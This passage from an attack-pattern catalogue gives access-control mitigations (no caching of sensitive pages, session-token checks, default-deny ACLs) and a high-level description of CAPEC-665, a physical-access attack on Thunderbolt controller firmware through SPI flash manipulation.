- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.